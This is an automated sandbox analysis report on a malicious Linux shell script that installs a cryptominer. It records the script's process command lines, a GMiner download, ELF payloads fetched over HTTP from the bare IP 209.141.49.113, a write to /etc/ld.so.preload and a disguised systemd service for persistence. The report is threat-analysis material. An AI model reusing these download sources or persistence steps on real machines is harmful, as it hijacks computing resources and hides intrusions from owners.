File name:

S1DKH_xm.sh

Full analysis: https://app.any.run/tasks/e9e97161-76da-4494-9df0-4dee2ee4c740
Verdict: Malicious activity
Analysis date: April 18, 2025, 18:38:04
OS: Ubuntu 22.04.2
MIME: text/x-shellscript
File info: Bourne-Again shell script, ASCII text executable
MD5:

2C7F94F25DA0DD1F5F20CB877C2AAEB0

SHA1:

C9882436FACCF603C45144ACB26D714C795467D6

SHA256:

727B5969438F746413C9637935FCAF4126AEE4AB0D6C480DC4013BA8C7C9800A

SSDEEP:

48:jrtEcJ/YMvM3boFNI61B15K6nWnynwsnAwR+:ntF/xU3gu1R

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    No malicious indicators.

  • SUSPICIOUS

    • Modifies file or directory owner

      • sudo (PID: 39501)
      • sudo (PID: 39542)
      • sudo (PID: 39544)
      • sudo (PID: 39540)
      • sudo (PID: 39811)
      • sudo (PID: 39800)

    • Executes commands using command-line interpreter

      • sudo (PID: 39504)

    • Connects to the server without a host name

      • wget (PID: 39523)
      • wget (PID: 39525)

    • Potential Corporate Privacy Violation

      • wget (PID: 39523)
      • wget (PID: 39525)

    • Uses wget to download content

      • bash (PID: 39505)

    • Reads passwd file

      • tar (PID: 39573)

    • Checks type of computer hardware (uname)

      • dash (PID: 39579)
      • dash (PID: 39591)

    • Checks kernel release information (uname)

      • make (PID: 39574)
      • make (PID: 39789)

    • Gets information about currently running processes

      • dash (PID: 39586)
      • dash (PID: 39582)
      • dash (PID: 39584)

    • Executes the "rm" command to delete files or directories

      • bash (PID: 39505)
      • dash (PID: 39594)
      • dash (PID: 39606)
      • dash (PID: 39600)
      • dash (PID: 39612)
      • dash (PID: 39630)
      • dash (PID: 39636)
      • dash (PID: 39624)
      • dash (PID: 39618)
      • dash (PID: 39642)
      • dash (PID: 39660)
      • dash (PID: 39654)
      • dash (PID: 39648)
      • dash (PID: 39678)
      • dash (PID: 39682)
      • dash (PID: 39666)
      • dash (PID: 39672)
      • dash (PID: 39688)
      • dash (PID: 39700)
      • dash (PID: 39694)
      • dash (PID: 39706)
      • dash (PID: 39712)
      • dash (PID: 39740)
      • dash (PID: 39718)
      • dash (PID: 39724)
      • dash (PID: 39728)
      • dash (PID: 39734)
      • dash (PID: 39771)
      • dash (PID: 39753)
      • dash (PID: 39765)
      • dash (PID: 39759)
      • dash (PID: 39747)

    • Writes to Systemd service files (likely for persistence achievement)

      • systemd (PID: 39552)

    • Changes time attribute to hide new files or make changes to the existing one

      • sudo (PID: 39809)

    • Modify startup scripts of the system services

      • bash (PID: 39505)

    • Creates or rewrites file in the "bin" folder

      • touch (PID: 39810)

  • INFO

    • Creates file in the temporary folder

      • cat (PID: 39507)
      • wget (PID: 39523)
      • wget (PID: 39525)
      • x86_64-linux-gnu-gcc-12 (PID: 39596)
      • wget (PID: 39572)
      • tar (PID: 39573)
      • x86_64-linux-gnu-as (PID: 39604)
      • x86_64-linux-gnu-gcc-12 (PID: 39602)
      • x86_64-linux-gnu-gcc-12 (PID: 39614)
      • x86_64-linux-gnu-as (PID: 39610)
      • cc1 (PID: 39609)
      • x86_64-linux-gnu-gcc-12 (PID: 39608)
      • x86_64-linux-gnu-as (PID: 39622)
      • cc1 (PID: 39615)
      • cc1 (PID: 39597)
      • cc1 (PID: 39603)
      • x86_64-linux-gnu-as (PID: 39598)
      • x86_64-linux-gnu-gcc-12 (PID: 39644)
      • x86_64-linux-gnu-as (PID: 39628)
      • cc1 (PID: 39627)
      • cc1 (PID: 39633)
      • x86_64-linux-gnu-gcc-12 (PID: 39632)
      • cc1 (PID: 39639)
      • x86_64-linux-gnu-as (PID: 39634)
      • x86_64-linux-gnu-gcc-12 (PID: 39638)
      • cc1 (PID: 39645)
      • x86_64-linux-gnu-as (PID: 39640)
      • x86_64-linux-gnu-gcc-12 (PID: 39620)
      • x86_64-linux-gnu-as (PID: 39616)
      • cc1 (PID: 39621)
      • x86_64-linux-gnu-gcc-12 (PID: 39626)
      • x86_64-linux-gnu-as (PID: 39652)
      • x86_64-linux-gnu-gcc-12 (PID: 39650)
      • x86_64-linux-gnu-gcc-12 (PID: 39662)
      • x86_64-linux-gnu-gcc-12 (PID: 39656)
      • x86_64-linux-gnu-as (PID: 39664)
      • x86_64-linux-gnu-as (PID: 39658)
      • cc1 (PID: 39663)
      • x86_64-linux-gnu-gcc-12 (PID: 39668)
      • x86_64-linux-gnu-as (PID: 39646)
      • cc1 (PID: 39651)
      • cc1 (PID: 39657)
      • x86_64-linux-gnu-as (PID: 39676)
      • x86_64-linux-gnu-gcc-12 (PID: 39684)
      • x86_64-linux-gnu-as (PID: 39686)
      • cc1 (PID: 39685)
      • cc1 (PID: 39691)
      • x86_64-linux-gnu-as (PID: 39692)
      • cc1 (PID: 39669)
      • x86_64-linux-gnu-as (PID: 39670)
      • x86_64-linux-gnu-gcc-12 (PID: 39674)
      • cc1 (PID: 39675)
      • cc1 (PID: 39703)
      • x86_64-linux-gnu-as (PID: 39698)
      • x86_64-linux-gnu-gcc-12 (PID: 39690)
      • x86_64-linux-gnu-gcc-12 (PID: 39696)
      • cc1 (PID: 39697)
      • x86_64-linux-gnu-gcc-12 (PID: 39702)
      • x86_64-linux-gnu-as (PID: 39704)
      • x86_64-linux-gnu-gcc-12 (PID: 39708)
      • x86_64-linux-gnu-as (PID: 39710)
      • cc1 (PID: 39709)
      • x86_64-linux-gnu-gcc-12 (PID: 39714)
      • x86_64-linux-gnu-as (PID: 39722)
      • cc1 (PID: 39715)
      • x86_64-linux-gnu-gcc-12 (PID: 39720)
      • x86_64-linux-gnu-as (PID: 39716)
      • cc1 (PID: 39721)
      • x86_64-linux-gnu-gcc-12 (PID: 39736)
      • cc1 (PID: 39743)
      • x86_64-linux-gnu-as (PID: 39732)
      • x86_64-linux-gnu-gcc-12 (PID: 39730)
      • cc1 (PID: 39731)
      • x86_64-linux-gnu-gcc-12 (PID: 39742)
      • cc1 (PID: 39737)
      • x86_64-linux-gnu-as (PID: 39738)
      • x86_64-linux-gnu-as (PID: 39744)
      • x86_64-linux-gnu-as (PID: 39757)
      • x86_64-linux-gnu-as (PID: 39763)
      • cc1 (PID: 39762)
      • x86_64-linux-gnu-gcc-12 (PID: 39767)
      • x86_64-linux-gnu-as (PID: 39769)
      • cc1 (PID: 39750)
      • x86_64-linux-gnu-as (PID: 39751)
      • x86_64-linux-gnu-gcc-12 (PID: 39749)
      • cc1 (PID: 39756)
      • x86_64-linux-gnu-gcc-12 (PID: 39761)
      • x86_64-linux-gnu-gcc-12 (PID: 39755)
      • cc1 (PID: 39768)
      • cat (PID: 39804)

    • Checks timezone

      • wget (PID: 39508)
      • wget (PID: 39523)
      • wget (PID: 39525)
      • wget (PID: 39572)
      • touch (PID: 39810)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.sh | Linux/UNIX shell script (100)
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
568
Monitored processes
348
Malicious processes
3
Suspicious processes
3

Behavior graph

Click at the process to see the details
start dash no specs sudo no specs chown no specs chmod no specs sudo no specs bash no specs locale-check no specs cat no specs wget tar no specs rm no specs mv no specs wget chmod no specs wget sudo no specs mv no specs sudo no specs mv no specs sudo no specs mv no specs sudo no specs chmod no specs sudo no specs touch no specs sudo no specs chmod no specs sudo no specs echo no specs sudo no specs chown no specs sudo no specs chown no specs sudo no specs chown no specs sudo no specs chattr no specs sudo no specs systemctl no specs systemd no specs systemd no specs snapd-env-generator no specs dash no specs generate no specs dash no specs snapd-generator no specs systemd-bless-boot-generator no specs systemd-cryptsetup-generator no specs systemd-debug-generator no specs systemd-fstab-generator no specs systemd-getty-generator no specs systemd-gpt-auto-generator no specs systemd-hibernate-resume-generator no specs systemd-rc-local-generator no specs systemd-run-generator no specs cat no specs mkdir no specs systemd-system-update-generator no specs systemd-sysv-generator no specs systemd-veritysetup-generator no specs ls no specs wget tar no specs make no specs uname no specs pwd no specs make no specs make no specs dash no specs dash no specs dash no specs dash no specs dash no specs dash no specs dash no specs uname no specs sed no specs getconf no specs getconf no specs getconf no specs x86_64-linux-gnu-gcc-12 no specs head no specs uname no specs sed no specs mkdir no specs x86_64-linux-gnu-gcc-12 no specs cc1 no specs x86_64-linux-gnu-as no specs rm no specs dash no specs dash no specs mkdir no specs x86_64-linux-gnu-gcc-12 no specs rm no specs mkdir no specs x86_64-linux-gnu-gcc-12 no specs rm no specs dash no specs cc1 no specs x86_64-linux-gnu-as no specs cc1 no specs x86_64-linux-gnu-as no specs mkdir no specs x86_64-linux-gnu-gcc-12 no specs cc1 no specs x86_64-linux-gnu-as no specs rm no specs dash no specs mkdir no specs x86_64-linux-gnu-gcc-12 no specs cc1 no specs x86_64-linux-gnu-as no specs rm no specs dash no specs mkdir no specs x86_64-linux-gnu-gcc-12 no specs cc1 no specs x86_64-linux-gnu-as no specs rm no specs dash no specs mkdir no specs x86_64-linux-gnu-gcc-12 no specs cc1 no specs x86_64-linux-gnu-as no specs rm no specs dash no specs mkdir no specs x86_64-linux-gnu-gcc-12 no specs rm no specs dash no specs cc1 no specs x86_64-linux-gnu-as no specs mkdir no specs x86_64-linux-gnu-gcc-12 no specs cc1 no specs x86_64-linux-gnu-as no specs rm no specs dash no specs mkdir no specs x86_64-linux-gnu-gcc-12 no specs rm no specs dash no specs dash no specs cc1 no specs x86_64-linux-gnu-as no specs mkdir no specs x86_64-linux-gnu-gcc-12 no specs rm no specs mkdir no specs x86_64-linux-gnu-gcc-12 no specs rm no specs dash no specs cc1 no specs x86_64-linux-gnu-as no specs cc1 no specs x86_64-linux-gnu-as no specs mkdir no specs x86_64-linux-gnu-gcc-12 no specs cc1 no specs x86_64-linux-gnu-as no specs rm no specs dash no specs mkdir no specs x86_64-linux-gnu-gcc-12 no specs cc1 no specs x86_64-linux-gnu-as no specs rm no specs dash no specs mkdir no specs x86_64-linux-gnu-gcc-12 no specs rm no specs dash no specs mkdir no specs x86_64-linux-gnu-gcc-12 no specs rm no specs dash no specs dash no specs cc1 no specs x86_64-linux-gnu-as no specs mkdir no specs x86_64-linux-gnu-gcc-12 no specs rm no specs mkdir no specs x86_64-linux-gnu-gcc-12 no specs rm no specs dash no specs cc1 no specs x86_64-linux-gnu-as no specs cc1 no specs x86_64-linux-gnu-as no specs mkdir no specs x86_64-linux-gnu-gcc-12 no specs rm no specs cc1 no specs x86_64-linux-gnu-as no specs dash no specs mkdir no specs x86_64-linux-gnu-gcc-12 no specs rm no specs dash no specs cc1 no specs x86_64-linux-gnu-as no specs mkdir no specs x86_64-linux-gnu-gcc-12 no specs rm no specs dash no specs dash no specs cc1 no specs x86_64-linux-gnu-as no specs mkdir no specs x86_64-linux-gnu-gcc-12 no specs rm no specs mkdir no specs cc1 no specs x86_64-linux-gnu-as no specs x86_64-linux-gnu-gcc-12 no specs rm no specs dash no specs dash no specs mkdir no specs x86_64-linux-gnu-gcc-12 no specs rm no specs mkdir no specs x86_64-linux-gnu-gcc-12 no specs rm no specs dash no specs cc1 no specs x86_64-linux-gnu-as no specs cc1 no specs x86_64-linux-gnu-as no specs mkdir no specs x86_64-linux-gnu-gcc-12 no specs rm no specs dash no specs dash no specs cc1 no specs x86_64-linux-gnu-as no specs mkdir no specs x86_64-linux-gnu-gcc-12 no specs cc1 no specs x86_64-linux-gnu-as no specs rm no specs dash no specs mkdir no specs x86_64-linux-gnu-gcc-12 no specs rm no specs dash no specs cc1 no specs x86_64-linux-gnu-as no specs mkdir no specs x86_64-linux-gnu-gcc-12 no specs rm no specs dash no specs cc1 no specs x86_64-linux-gnu-as no specs mkdir no specs x86_64-linux-gnu-gcc-12 no specs cc1 no specs x86_64-linux-gnu-as no specs rm no specs dash no specs dash no specs mkdir no specs x86_64-linux-gnu-ld.bfd no specs rm no specs x86_64-linux-gnu-gcc-12 no specs head no specs dash no specs dash no specs dash no specs dash no specs dash no specs dash no specs dash no specs dash no specs dash no specs dash no specs make no specs dash no specs uname no specs pwd no specs mkdir no specs dash no specs x86_64-linux-gnu-gcc-11 no specs sudo no specs mv no specs sudo no specs kmod no specs rm no specs sudo no specs chown no specs sudo no specs mv no specs cat no specs sudo no specs mv no specs sudo no specs chmod no specs sudo no specs touch no specs sudo no specs chown no specs sudo no specs systemctl no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs python3.7.3 no specs

Process information

PID
CMD
Path
Indicators
Parent process
39500/bin/sh -c "sudo chown user /home/user/Desktop/S1DKH_xm\.sh && chmod +x /home/user/Desktop/S1DKH_xm\.sh && DISPLAY=:0 sudo -iu user /home/user/Desktop/S1DKH_xm\.sh "/usr/bin/dash—any-guest-agent
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
39501sudo chown user /home/user/Desktop/S1DKH_xm.sh/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
39502chown user /home/user/Desktop/S1DKH_xm.sh/usr/bin/chown—sudo
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
39503chmod +x /home/user/Desktop/S1DKH_xm.sh/usr/bin/chmod—dash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
39504sudo -iu user /home/user/Desktop/S1DKH_xm.sh/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
39505/bin/bash /home/user/Desktop/S1DKH_xm.sh/usr/bin/bash—sudo
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
39506/usr/bin/locale-check C.UTF-8/usr/bin/locale-check—bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
39507cat/usr/bin/cat—bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
39508wget --tries=2 --timeout=15 https://github.com/develsoftware/GMinerRelease/releases/download/3.43/gminer_3_43_linux64.tar.xz/usr/bin/wget
bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
1024
39520tar xvf gminer_3_43_linux64.tar.xz/usr/bin/tar—bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
512
Executable files
0
Suspicious files
30
Text files
64
Unknown types
0

Dropped files

PID
Process
Filename
Type
39507cat/tmp/nvidia-drivice.servicetext
MD5:—
SHA256:—
39508wget/home/user/.wget-hststext
MD5:—
SHA256:—
39525wget/tmp/python3.7.3.sobinary
MD5:—
SHA256:—
39538sudo/etc/ld.so.preloadtext
MD5:—
SHA256:—
39573tar/tmp/python37/Makefiletext
MD5:—
SHA256:—
39572wget/tmp/python37.tarcompressed
MD5:—
SHA256:—
39596x86_64-linux-gnu-gcc-12/tmp/ccjK6fGG.s (deleted)text
MD5:—
SHA256:—
39597cc1/tmp/ccjK6fGG.s (deleted)text
MD5:—
SHA256:—
39598x86_64-linux-gnu-as/tmp/python37/.tmp_39594/tmp (deleted)binary
MD5:—
SHA256:—
39602x86_64-linux-gnu-gcc-12/tmp/ccygRYQ2.s (deleted)text
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
19
TCP/UDP connections
15
DNS requests
16
Threats
2

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
—
195.181.170.19:443
https://odrs.gnome.org/1.0/reviews/api/ratings
unknown
—
—
—
—
—
GET
—
195.181.175.40:443
https://odrs.gnome.org/1.0/reviews/api/ratings
unknown
—
—
—
—
—
GET
204
91.189.91.48:80
http://connectivity-check.ubuntu.com/
unknown
—
—
whitelisted
—
—
GET
204
185.125.190.48:80
http://connectivity-check.ubuntu.com/
unknown
—
—
whitelisted
—
—
GET
—
185.125.190.48:80
http://connectivity-check.ubuntu.com/
unknown
—
—
whitelisted
—
—
GET
302
140.82.121.3:443
https://github.com/develsoftware/GMinerRelease/releases/download/3.43/gminer_3_43_linux64.tar.xz
unknown
—
—
—
39525
wget
GET
200
209.141.49.113:80
http://209.141.49.113/tt/python3.7.3.so
unknown
—
—
unknown
39572
wget
GET
200
209.141.49.113:80
http://209.141.49.113/tt/python37.tar
unknown
—
—
unknown
39523
wget
GET
200
209.141.49.113:80
http://209.141.49.113/tt/python3.7.3
unknown
—
—
unknown
—
—
POST
200
185.125.188.58:443
https://api.snapcraft.io/api/v1/snaps/auth/sessions
unknown
binary
587 b
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
185.125.190.48:80
connectivity-check.ubuntu.com
Canonical Group Limited
GB
whitelisted
484
avahi-daemon
224.0.0.251:5353
—
—
—
unknown
—
—
91.189.91.48:80
connectivity-check.ubuntu.com
Canonical Group Limited
US
whitelisted
—
—
195.181.170.19:443
odrs.gnome.org
Datacamp Limited
DE
whitelisted
—
—
185.125.188.58:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
—
—
185.125.188.55:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
39508
wget
140.82.121.3:443
github.com
GITHUB
US
whitelisted
39508
wget
185.199.111.133:443
objects.githubusercontent.com
FASTLY
US
whitelisted
39523
wget
209.141.49.113:80
—
PONYNET
US
unknown
39525
wget
209.141.49.113:80
—
PONYNET
US
unknown

DNS requests

Domain
IP
Reputation
connectivity-check.ubuntu.com
  • 91.189.91.48
  • 185.125.190.48
  • 185.125.190.97
  • 185.125.190.96
  • 91.189.91.49
  • 185.125.190.18
  • 91.189.91.98
  • 185.125.190.98
  • 91.189.91.97
  • 185.125.190.17
  • 185.125.190.49
  • 91.189.91.96
  • 2620:2d:4000:1::22
  • 2620:2d:4002:1::197
  • 2620:2d:4000:1::2b
  • 2001:67c:1562::23
  • 2001:67c:1562::24
  • 2620:2d:4000:1::98
  • 2620:2d:4000:1::96
  • 2620:2d:4000:1::2a
  • 2620:2d:4002:1::198
  • 2620:2d:4000:1::97
  • 2620:2d:4002:1::196
  • 2620:2d:4000:1::23
whitelisted
odrs.gnome.org
  • 195.181.170.19
  • 169.150.255.180
  • 207.211.211.27
  • 212.102.56.178
  • 169.150.255.183
  • 37.19.194.81
  • 195.181.175.40
  • 2a02:6ea0:c700::11
  • 2a02:6ea0:c700::19
  • 2a02:6ea0:c700::112
  • 2a02:6ea0:c700::21
  • 2a02:6ea0:c700::18
  • 2a02:6ea0:c700::107
  • 2a02:6ea0:c700::101
whitelisted
api.snapcraft.io
  • 185.125.188.58
  • 185.125.188.55
  • 185.125.188.54
  • 185.125.188.59
  • 2620:2d:4000:1010::6d
  • 2620:2d:4000:1010::117
  • 2620:2d:4000:1010::344
  • 2620:2d:4000:1010::42
whitelisted
google.com
  • 142.250.186.142
  • 2a00:1450:4001:82a::200e
whitelisted
github.com
  • 140.82.121.3
whitelisted
objects.githubusercontent.com
  • 185.199.111.133
  • 185.199.108.133
  • 185.199.109.133
  • 185.199.110.133
whitelisted
5.100.168.192.in-addr.arpa
  • —
unknown

Threats

PID
Process
Class
Message
39523
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
39525
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
S1DKH_xm.sh